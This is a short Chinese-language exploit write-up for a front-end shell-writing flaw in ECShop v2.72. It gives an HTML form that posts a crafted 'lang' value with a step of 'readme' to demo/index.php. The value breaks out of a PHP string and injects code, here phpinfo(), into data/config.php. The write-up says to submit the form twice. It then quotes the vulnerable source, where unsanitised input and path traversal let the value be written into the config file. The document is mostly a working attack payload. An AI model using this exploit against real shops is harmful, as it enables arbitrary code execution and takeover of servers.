前提要有demo/index.php

exp：

<form method="post" name="register" action="http://127.1/ecshop2.72/demo/index.php">
<h3>ecshop v2.72 前台写shell漏洞</h3><br>利用方试：提交两次，第二次内容任意</br>
<input type="text" name="lang" size="80" value="');phpinfo();(_1_/../../../index" />
<input type="hidden" name="step" value="readme" />
<button class="submit" type="submit" name="regsubmit" value="true">提交</button>
</form>

代码漏洞：

<!-------------
demo/index.php

if (!empty($_POST['lang']))
{
    $lang_charset = explode('_', $_POST['lang']);
    $updater_lang = $lang_charset[0].'_'.$lang_charset[1];
    $ec_charset = $lang_charset[2];
}
........................................
$updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php';

if (file_exists($updater_lang_package_path))
{
    include_once($updater_lang_package_path);
    $smarty->assign('lang', $_LANG);
}
else
{
    die('Can\'t find language package!');
}

/* 初始化流程控制变量 */

$step = isset($_REQUEST['step']) ? $_REQUEST['step'] : 'sel_lang';

$smarty->assign('ec_charset', $ec_charset);
$smarty->assign('updater_lang', $updater_lang);
switch($step)
{
  case 'readme' :
    write_charset_config($updater_lang, $ec_charset);
.......................................

function write_charset_config($lang, $charset)
{
    $config_file = ROOT_PATH . 'data/config.php';
    $s = file_get_contents($config_file);
    $s = insertconfig($s, "/\?\>/","");
    $s = insertconfig($s, "/define\('EC_LANGUAGE',\s*'.*?'\);/i", "define('EC_LANGUAGE', '" . $lang . "');");
    $s = insertconfig($s, "/define\('EC_CHARSET',\s*'.*?'\);/i", "define('EC_CHARSET', '" . $charset . "');");
    $s = insertconfig($s, "/\?\>/","?>");
    return file_put_contents($config_file, $s);
}

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